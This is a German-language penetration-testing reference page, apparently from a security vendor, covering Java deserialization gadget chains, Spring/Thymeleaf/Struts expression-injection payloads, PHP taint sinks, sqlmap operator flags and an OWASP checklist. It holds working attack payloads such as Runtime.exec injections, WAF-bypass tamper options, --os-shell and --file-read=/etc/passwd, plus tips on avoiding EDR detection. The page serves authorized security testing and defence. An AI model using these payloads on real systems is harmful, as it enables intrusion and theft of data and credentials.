Neu Das Whitepaper zur kontinuierlichen Sicherheitsvalidierung 2026 ist verfügbar. Whitepaper lesen →

Server-Side-Sprachen — Java, PHP, SQLmap.

Stack-spezifische Notizen zu Java und PHP — Deserialisierungs-Gadgets, EL-Injection, Tainted-Input-Flow — mit SQLmap-Operator-Flags und der OWASP-Testing-Checkliste.

Java — Deserialisierungs-Gadgets

  • ysoserial-Gadget-Chains. CommonsCollections1/5/6, CommonsBeanutils1, Spring1/2, Click1, MozillaRhino1/2. Jede Chain hängt von spezifischen Dependency-Versionen im Classpath ab.
  • Wo sie feuern. RMI/JMX (Port 1099/9999), JNDI-Lookup, alles was ObjectInputStream.readObject() auf Angreifer-Bytes aufruft — RMI, JMS, EJB-Invocation, versteckt in HTTP-Cookie / Session / Form-Parameter.
  • JEP-290-Landschaft. Post-JDK-9 brachte Serial-Filtering. Die meisten Apps konfigurieren keine Filter — noch sperrangelweit. jdk.serialFilter Sysprop oder per-Stream ObjectInputFilter.
  • Discovery-Prozess. Java-Version identifizieren, Dependencies listen (jar tf auf lib/), gegen bekannten Gadget-Katalog matchen, zuerst DNS-Callback-Payload senden.
  • Verteidigung. Weg von Java-native-Serialization, hin zu JSON. Wenn nicht möglich, Safelist-Filter und Netz-Bytes ohne Auth nie deserialisieren.

Java — Expression-Language-Injection

  • Spring (SpEL). ${T(java.lang.Runtime).getRuntime().exec('id')} in jedem Template/Header, den Spring EL prozessiert.
  • Struts2 OGNL. %{(#_='multipart/form-data').(...)} — historische Equifax-Klassen-Chain. Erscheint noch in Legacy-Struts.
  • Thymeleaf. SSTI wenn User-Input in Template-Name fließt: ~{__${T(Runtime).getRuntime().exec('id')}__::x}.
  • Test. Zuerst ${7*7} injizieren. 49 im Output = SSTI bestätigt; mit Class-Lookup fortfahren.

PHP — Taint-Flow-Review-Checkliste

  • Sources. $_GET, $_POST, $_COOKIE, $_FILES, $_SERVER['HTTP_*'], file_get_contents('php://input').
  • Sinks: Code-Execution. eval, assert, preg_replace mit /e-Flag (Legacy), create_function, include/require(_once) mit Variable.
  • Sinks: Command-Execution. exec, system, passthru, shell_exec, Backticks, popen, proc_open.
  • Sinks: File. file_put_contents, fopen, copy, move_uploaded_file, unlink.
  • Sinks: SQL. Jedes mysqli_query / PDO->query mit Konkatenation. PDO->prepare + Bind ist sicher.
  • Sink: unserialize. unserialize($_COOKIE['x']) + jede Klasse mit __destruct/__wakeup/__toString = Gadget-Chain. PHPGGC für bekannte Chains.

sqlmap — produktionssichere Flags

  • Erst nur Detektion. sqlmap -u "URL" --batch --random-agent --level=3 --risk=1. Risk nicht eskalieren bis Detektion bestätigt ist.
  • WAF-Bypass-Tamper-Scripts. --tamper=between,randomcase,space2comment generisch; --tamper=charunicodeencode für nginx-fronted; 2–3 max kombinieren — mehr bricht Detektion.
  • Time-Based-Tuning. --time-sec=10 reduziert False-Positives auf jittery Netz. --technique=BT wenn Union-Based unzuverlässig.
  • Authentifiziert. --cookie="session=..." oder --load-cookies=cookies.txt. --csrf-token=token mit --csrf-url für Token-geschützte Forms.
  • Extraktion. --current-user --current-db --hostname zuerst (klein, low-risk). Erst dann --dbs --tables --columns -D foo -T users --dump.
  • Post-Exploit. --os-shell erfordert DB-User als DBA + beschreibbares Webroot. --file-read=/etc/passwd für Proof ohne Command-Execution.
  • Nicht. --risk=3 in Produktion ohne explizite Erlaubnis; einige Payloads updaten/löschen Daten.

OWASP-Testing-Checkliste — Minimum-Pre-Flight

  1. Authentifizierung: 0/2FA-Bypass, schwache Password-Policy, Default-Creds.
  2. Session: Token-Entropie, Fixation, Timeout, Logout-Invalidation.
  3. Autorisierung: vertikal (Admin-Funktionen), horizontal (Peer-IDOR), fehlende Function-Level.
  4. Input: jede Klasse aus OWASP-Katalog gegen jeden Parameter getestet.
  5. Crypto: TLS-Posture (sslyze), Hashing (bcrypt vs MD5), Storage von Secrets.
  6. Error-Handling: Stack-Traces, Debug-Pages, verbose 500er.
  7. Logging: werden Events erfasst, kann Angreifer disablen, kann Verteidiger rekonstruieren.
  8. Business-Logik: End-to-End-Walkthrough pro Rolle.
FaustregelFür Java-Apps lib/-Verzeichnis dumpen und gegen ysoserial-Gadget-Katalog matchen bevor irgendein Payload gesendet wird. Random-Gadgets blind senden generiert EDR-Noise und verbrennt Detektionsbudget.

Von der Referenz zum Befund

Validieren Sie das in Ihrer eigenen Umgebung.